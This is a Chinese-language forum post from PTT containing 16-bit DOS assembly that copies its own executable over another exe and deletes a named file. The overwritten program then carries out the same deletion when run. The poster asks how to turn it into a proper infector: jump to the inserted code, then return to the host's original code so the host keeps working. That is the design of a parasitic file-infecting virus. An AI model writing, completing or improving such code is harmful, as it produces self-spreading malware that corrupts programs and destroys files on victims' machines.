將某個exe寫入另一個exe
執行這個程式
會將此程式整個寫入file1並刪除file3
如果執行經修改的file1會執行程式的工作(刪除file3)
缺點是會蓋掉file1被寫入的部分無法正常執行原來工作
最理想的狀況是
1.jmp 插入程式碼位址
2.原程式碼
3.插入程式碼
4.返回原程式碼
也就是讓file1刪除file3後繼續執行自己的工作
可是目前不知道怎麼修正
也不知道怎麼返回原程式碼
而且會遇到64k大小的瓶頸
請教修正的方法
-------------------------以下是程式碼---------------------------------
include irvine16.inc
;.model small,stdcall 標頭檔的內容
;.stack 4096
;.386
.DATA
file1 byte '寫入檔案的路徑跟檔名',0
file2 byte '本程式的路徑跟檔名',0
file3 byte '刪除檔案的路徑跟檔名',0
buf byte 0bfffh dup (?)
size1 word ?
f1 dw ?
f2 dw ?
.CODE
main proc
MOV ax,@data
mov ds,ax
mov ax,3d02h
mov dx,offset file1
int 21h
mov f1,ax
mov ax,3d02h
mov dx,offset file2
int 21h
mov f2,ax
mov ah,3fh
mov bx,f2
mov cx,0bfffh
mov dx,offset buf
int 21h
mov size1,ax
mov ah,40h
mov bx,f1
mov dx,offset buf
mov cx,size1
int 21h
mov aH,3fh
mov bx,f2
mov cx,0bfffh
mov dx,offset buf
int 21h
mov size1,ax
mov ah,40h
mov bx,f1
mov dx,offset buf
mov cx,size1
int 21h
mov ah,41h
mov dx,offset file3
int 21h
mov ax,4c00h
int 21h
main endp
end
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 61.225.19.150
※ loveflames:轉錄至看板 ask 02/17 21:04
推
02/18 01:02, , 1F
02/18 01:02, 1F
推
02/18 09:59, , 2F
02/18 09:59, 2F